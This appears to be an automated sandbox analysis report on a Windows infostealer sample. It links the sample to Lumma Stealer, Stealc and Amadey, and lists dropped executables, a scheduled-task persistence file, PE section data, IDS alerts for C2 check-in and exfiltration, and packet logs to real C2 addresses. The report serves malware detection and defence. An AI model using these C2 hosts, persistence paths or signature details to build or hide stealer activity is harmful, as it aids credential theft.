	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
WHOLESALECONNECTIONSNL	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

Download File

Process:	C:\Users\user\Desktop\o0cabS0OQn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5104640
Entropy (8bit):	5.581216662386939
Encrypted:	false
SSDEEP:	49152:fo1/sZr8WNkQoYSUrQFIezvP8X/YbFD/bpMN/Qu:A+Zr840YS3FI00X/8/Mh
MD5:	E8986E2F122CDFCFED4853174606574F
SHA1:	CB43856B0831DB65EAE9390CAB7B4B5257E8A22E
SHA-256:	CE2F452C2D36B986038BA58CF0146BB360F0D87F71F1CE56C4430B47041852C8
SHA-512:	F9DBFE5861ADDBA1111EBCCF54BF75A815677ACB02828303D4EA5D20FD8879C44F5B1C3514822F720F99CEAB6695ECC523868B108957DB57384F793B137F338D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: w22319us3M.exe, Detection: malicious, Browse Filename: mDuCbT8LnH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........M...........@.......................... N.......N...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...jvdduhrr. )...$...)...$.............@...adcgyevy......M.......M.............@....taggant.0....M.."....M.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Download File

Process:	C:\Users\user\Desktop\o0cabS0OQn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3209216
Entropy (8bit):	6.657672536877299
Encrypted:	false
SSDEEP:	49152:ZKoDfBLgO/OiliAQeZRHaCydFU2gyoHcx07/3PN/Z9:VdEO/biAQEFy3boj7fPN/Z9
MD5:	023D3E22C2DF966B7EC6B1950A2FBC95
SHA1:	04F5B71CAF24E1E36C166399E4AEDEBBED8D5626
SHA-256:	EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA
SHA-512:	D7FE5AAE64A369DF5024D19C4CC2C8F22971833EF195E81E797A03703495A0D016523689F32209942F5E6F36E639706A5165068E57F67649820E99A7626F1EF6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Joe Sandbox View:	Filename: w22319us3M.exe, Detection: malicious, Browse Filename: mDuCbT8LnH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.......1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ysynnfor.@......:.................@...lfcxdbpw......0.......0.............@....taggant.0....1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3209216
Entropy (8bit):	6.657672536877299
Encrypted:	false
SSDEEP:	49152:ZKoDfBLgO/OiliAQeZRHaCydFU2gyoHcx07/3PN/Z9:VdEO/biAQEFy3boj7fPN/Z9
MD5:	023D3E22C2DF966B7EC6B1950A2FBC95
SHA1:	04F5B71CAF24E1E36C166399E4AEDEBBED8D5626
SHA-256:	EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA
SHA-512:	D7FE5AAE64A369DF5024D19C4CC2C8F22971833EF195E81E797A03703495A0D016523689F32209942F5E6F36E639706A5165068E57F67649820E99A7626F1EF6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Joe Sandbox View:	Filename: w22319us3M.exe, Detection: malicious, Browse Filename: mDuCbT8LnH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.......1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ysynnfor.@......:.................@...lfcxdbpw......0.......0.............@....taggant.0....1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.418001342578277
Encrypted:	false
SSDEEP:	6:StXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0ltgct0:SZf2RKQ1CGAFAjzvYRQV6ct0
MD5:	69D3FC34363EB4148BDD4E59CEAEC7F9
SHA1:	D44FE3492C8A4E5FE40A29EBBC3BA297B9F77617
SHA-256:	D7CCAF497F1DEF0EBCE308919FE8D8D4D9F174346327E905646C3EE928EF68AB
SHA-512:	5B85CA6A27B3BF5B972A919294C6F41713FC34FC0E02BEBBA5B8AEB0DF43710C98B7F8D7E95A4E09D96E2AA2B89D9962A70414B838154956D27A743D03FCD7DA
Malicious:	false
Preview:	.... ,y.<.UI.)J.."..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948354426956053
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	o0cabS0OQn.exe
File size:	1'865'728 bytes
MD5:	80ef44e8078dd87d1399fc27fad67b01
SHA1:	5690860b154982423017e869a032499f6089cb95
SHA256:	e0ed19ef61b0cfa0a57f8347a1a5a139fb8cbda936694baeb9585e833c5c97c0
SHA512:	424c753468ab825a29a60cfa440f4b87374566af00208d9123b8b3bc9f13676088df253a4d4ddc77469116652e9a663935a47c8180b515977f5c9fc24fb60d5e
SSDEEP:	49152:KC9HU9KXqJ3BJS0AyuDVD1m8XV0XDK+BY:Dm0qJ3nvAfVDUXHm
TLSH:	5A8533AFD25031ADD6BD307CC6A233DD3F78401257E6A15A4F0AF26AAC27741F51A2D8
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................I...........@...........................I......:....@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x899000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4E2520AA8Ah
orps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4E2520CA85h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	88160c41f49214c60ccc78b94178554d	False	0.9996042687908496	data	7.982518757512326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a5000	0x200	8832e434b37487d2cce46469a33a38b0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ebdcmeyg	0x2fa000	0x19e000	0x19d600	36b487803e607103bd55927412bbaea9	False	0.994704060515573	data	7.953945438795433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cwlbrkyq	0x498000	0x1000	0x600	8e0a20282040040bbb79264c291ca637	False	0.5475260416666666	data	4.850935418931489	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x499000	0x3000	0x2200	938740c4fe4300372e2c85ac84eef448	False	0.07341452205882353	DOS executable (COM)	0.8828730284198829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T15:03:39.102937+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.165.185	443	TCP
2024-12-27T15:03:40.120321+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.165.185	443	TCP
2024-12-27T15:03:40.120321+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.165.185	443	TCP
2024-12-27T15:03:41.350487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T15:03:44.146108+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T15:03:44.146108+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T15:03:46.170487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T15:03:48.516912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T15:03:49.342597+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T15:03:50.804608+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T15:03:53.414366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T15:03:56.080880+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T15:04:01.059835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.165.185	443	TCP
2024-12-27T15:04:01.841943+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.165.185	443	TCP
2024-12-27T15:04:23.757949+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-27T15:05:06.737398+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49813	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:03:37.882798910 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:37.882853985 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:37.882988930 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:37.886132956 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:37.886154890 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:39.102869034 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:39.102936983 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:39.269524097 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:39.269560099 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:39.270804882 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:39.312052965 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:39.365916967 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:39.365947962 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:39.366076946 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:40.120323896 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:40.120420933 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:40.120501041 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:40.122771978 CET	49730	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:40.122792006 CET	443	49730	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:40.131030083 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:40.131104946 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:40.131205082 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:40.131525993 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:40.131544113 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:41.350366116 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:41.350486994 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:41.351804018 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:41.351816893 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:41.352080107 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:41.353255033 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:41.353296041 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:41.353337049 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146190882 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146362066 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146433115 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.146461964 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146553040 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146599054 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.146609068 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146703005 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.146744967 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.146754026 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.153994083 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.154063940 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.154088020 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.162415981 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.162478924 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.162502050 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.218337059 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.218359947 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.265189886 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.265508890 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.312041998 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.336297035 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340079069 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340188980 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340204954 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.340234041 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340287924 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.340297937 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340436935 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.340507030 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.417859077 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.417903900 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.417917013 CET	49731	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.417924881 CET	443	49731	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.911159992 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.911215067 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:44.911334991 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.911803007 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:44.911817074 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:46.170326948 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:46.170486927 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:46.172055960 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:46.172070026 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:46.172313929 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:46.173614979 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:46.173795938 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:46.173824072 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:46.173887014 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:46.173892975 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:47.080657005 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:47.080765009 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:47.080833912 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:47.087668896 CET	49732	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:47.087692022 CET	443	49732	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:47.207736969 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:47.207767963 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:47.207844973 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:47.208139896 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:47.208149910 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:48.516777039 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:48.516911983 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:48.518275023 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:48.518286943 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:48.518583059 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:48.519870043 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:48.520008087 CET	49733	443	192.168.2.4	172.67.165.185
